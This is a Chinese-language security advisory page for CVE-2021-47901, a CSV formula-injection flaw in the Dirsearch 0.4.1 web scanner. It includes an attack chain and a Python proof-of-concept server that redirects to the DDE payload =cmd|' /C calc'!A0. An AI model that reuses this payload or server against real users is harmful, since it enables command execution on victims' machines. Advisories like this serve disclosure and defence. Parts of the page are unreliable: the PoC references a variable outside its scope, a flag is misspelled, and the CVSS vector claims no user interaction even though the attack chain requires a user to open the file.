IPBUF安全漏洞报告
English
CVE-2021-47901 CVSS 9.8 严重

CVE-2021-47901 Dirsearch 0.4.1 CSV注入漏洞

披露日期: 2026-01-27

漏洞信息

漏洞编号
CVE-2021-47901
漏洞类型
CSV注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Dirsearch 0.4.1

相关标签

CSV注入公式注入命令执行DirsearchWeb扫描工具输出验证不足

漏洞概述

CVE-2021-47901是Dirsearch Web路径扫描工具中发现的一个高危CSV注入漏洞,CVSS评分高达9.8分(严重级别)。该漏洞存在于Dirsearch的CSV报告生成功能中,当使用--csv-report参数时,程序会将扫描过程中发现的目标服务器路径信息导出为CSV格式文件。攻击者可以通过构造恶意的服务器响应,在重定向的端点路径中注入Excel公式(如以=、+、-、@等字符开头的公式)。当扫描结果被导出并用Excel等电子表格软件打开时,这些恶意公式会被执行,可能导致敏感数据泄露、远程代码执行或进一步的攻击。该漏洞无需认证即可利用,且攻击复杂度低,对机密性、完整性和可用性均造成严重影响。Dirsearch作为常用的Web安全扫描工具,被广泛应用于渗透测试和漏洞评估场景,因此该漏洞影响范围较广。

技术细节

该漏洞的技术根源在于Dirsearch 0.4.1版本在处理服务器重定向响应时,未对响应头中的Location字段或响应体中的路径信息进行充分的输入验证和输出编码。当使用--csv-report参数时,程序会将所有扫描发现的路径直接写入CSV文件,而CSV格式本身支持Excel公式解析。攻击者只需在目标服务器上配置一个恶意端点,该端点返回包含CSV公式字符的重定向响应。例如,服务器返回Location: =cmd|' /C calc'!A0,Dirsearch会将其记录到CSV报告中。当用户使用Microsoft Excel或LibreOffice Calc打开生成的CSV文件时,以等号开头的单元格内容会被解释为公式执行。攻击者可以利用此特性执行任意命令、读取本地文件或窃取数据。此外,攻击者还可以利用+、-、@等前缀字符触发不同的Excel函数,如CONCATENATE、HYPERLINK等,实现更复杂的攻击场景。

攻击链分析

STEP 1
步骤1
攻击者搭建恶意HTTP服务器,配置返回包含Excel公式的重定向响应
STEP 2
步骤2
攻击者诱导目标用户使用Dirsearch的--csv-report参数扫描恶意服务器
STEP 3
步骤3
Dirsearch记录重定向路径时未进行输入验证,将恶意公式写入CSV文件
STEP 4
步骤4
目标用户使用Excel等电子表格软件打开生成的CSV报告
STEP 5
步骤5
Excel解析CSV内容时执行恶意公式,导致命令执行或数据泄露

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import http.server import socketserver # Malicious redirect server to demonstrate CSV injection class CSVInjectionHandler(http.server.SimpleHTTPRequestHandler): def do_GET(self): # Inject Excel formula through redirect # =cmd|' /C calc'!A0 will execute calc on Windows malicious_path = "=cmd|' /C calc'!A0" self.send_response(302) self.send_header('Location', malicious_path) self.end_headers() PORT = 8888 Handler = CSVInjectionHandler print(f"Malicious server running on port {PORT}") print(f"Redirects to: {malicious_path}") print("\nUsage with dirsearch:") print(f"python3 dirsearch.py -u http://localhost:{PORT}/ -csv-report output.csv") print("\nWhen output.csv is opened in Excel, the formula will be executed.") with socketserver.TCPServer(('', PORT), Handler) as httpd: httpd.serve_forever()

影响范围

Dirsearch 0.4.1

防御指南

临时缓解措施
临时缓解措施:在使用Dirsearch进行扫描时,避免使用--csv-report参数生成报告。如果必须生成CSV格式报告,应在打开文件前使用文本编辑器查看内容,并手动删除或转义可疑的公式字符。也可使用LibreOffice Calc打开CSV文件(默认禁用公式执行),或使用--format json参数生成JSON格式报告作为替代方案。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表